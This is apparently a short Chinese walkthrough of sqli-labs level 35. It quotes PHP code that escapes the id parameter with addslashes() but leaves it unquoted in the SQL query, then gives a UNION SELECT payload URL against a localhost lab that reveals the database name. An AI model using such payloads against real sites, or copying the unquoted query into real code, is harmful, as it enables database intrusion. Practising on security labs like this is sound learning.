35关和33关是大致的一样的,唯一的区别在于sql语句的不同。
function check_addslashes($string) { $string = addslashes($string); return $string; } $id=check_addslashes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
区别就是id没有被' "符号包括起来,那我们就没有必要去考虑check_addslashes()函数的意义了,直接提交payload:
http://127.0.0.1/sql/Less-35/?id=-1 union select 1,database(),3--+